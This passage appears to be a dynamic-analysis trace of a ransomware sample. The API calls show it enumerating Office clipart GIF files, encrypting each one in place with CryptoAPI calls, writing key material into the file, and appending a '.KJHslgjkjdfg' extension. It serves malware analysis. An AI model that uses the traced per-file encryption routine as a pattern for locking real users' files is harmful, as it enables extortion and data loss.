liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.148] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.148] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.148] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.148] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x387, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x387, lpOverlapped=0x0) returned 1 [0219.148] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x390, dwBufLen=0x390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x390) returned 1 [0219.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.148] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x390, lpOverlapped=0x0) returned 1 [0219.148] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.148] SetEndOfFile (hFile=0x130) returned 1 [0219.150] GetProcessHeap () returned 0x990000 [0219.150] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.150] GetProcessHeap () returned 0x990000 [0219.150] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01747_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01747_.gif.kjhslgjkjdfg")) returned 1 [0219.151] CloseHandle (hObject=0x130) returned 1 [0219.152] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9c6a00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d9c6a00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01748_.GIF", cAlternateFileName="")) returned 1 [0219.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.153] GetProcessHeap () returned 0x990000 [0219.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.153] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.154] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0219.155] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.155] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.155] GetProcessHeap () returned 0x990000 [0219.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.155] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.155] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.155] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.155] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.155] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.155] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.155] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.155] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.156] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.156] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d7, lpOverlapped=0x0) returned 1 [0219.156] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e0) returned 1 [0219.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.156] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2e0, lpOverlapped=0x0) returned 1 [0219.156] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.156] SetEndOfFile (hFile=0x130) returned 1 [0219.157] GetProcessHeap () returned 0x990000 [0219.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.157] GetProcessHeap () returned 0x990000 [0219.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01748_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01748_.gif.kjhslgjkjdfg")) returned 1 [0219.158] CloseHandle (hObject=0x130) returned 1 [0219.158] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d7b600, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28d7b600, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01749_.GIF", cAlternateFileName="")) returned 1 [0219.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.159] GetProcessHeap () returned 0x990000 [0219.159] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.159] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0219.161] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.161] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.161] GetProcessHeap () returned 0x990000 [0219.161] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.161] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.161] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.161] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.161] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.161] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.161] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.162] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.162] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.162] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.162] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3b4, lpOverlapped=0x0) returned 1 [0219.162] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0) returned 1 [0219.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.162] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c0, lpOverlapped=0x0) returned 1 [0219.162] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.162] SetEndOfFile (hFile=0x130) returned 1 [0219.164] GetProcessHeap () returned 0x990000 [0219.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.164] GetProcessHeap () returned 0x990000 [0219.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.164] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01749_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01749_.gif.kjhslgjkjdfg")) returned 1 [0219.165] CloseHandle (hObject=0x130) returned 1 [0219.165] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207f7b00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x207f7b00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01750_.GIF", cAlternateFileName="")) returned 1 [0219.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.166] GetProcessHeap () returned 0x990000 [0219.166] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.166] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.166] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0219.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.168] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.168] GetProcessHeap () returned 0x990000 [0219.168] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.168] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.168] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.168] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.169] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.169] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.169] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.169] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x494, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x494, lpOverlapped=0x0) returned 1 [0219.169] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4a0, dwBufLen=0x4a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4a0) returned 1 [0219.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.169] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4a0, lpOverlapped=0x0) returned 1 [0219.169] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.169] SetEndOfFile (hFile=0x130) returned 1 [0219.171] GetProcessHeap () returned 0x990000 [0219.171] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.171] GetProcessHeap () returned 0x990000 [0219.171] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.171] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01750_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01750_.gif.kjhslgjkjdfg")) returned 1 [0219.173] CloseHandle (hObject=0x130) returned 1 [0219.173] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cebf400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cebf400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01751_.GIF", cAlternateFileName="")) returned 1 [0219.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.173] GetProcessHeap () returned 0x990000 [0219.174] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.174] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.174] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0219.175] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.175] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.175] GetProcessHeap () returned 0x990000 [0219.175] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.175] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.175] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.175] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.176] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.176] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.176] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.176] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.176] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.176] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.176] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b9, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3b9, lpOverlapped=0x0) returned 1 [0219.176] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0) returned 1 [0219.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.176] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x29df270, 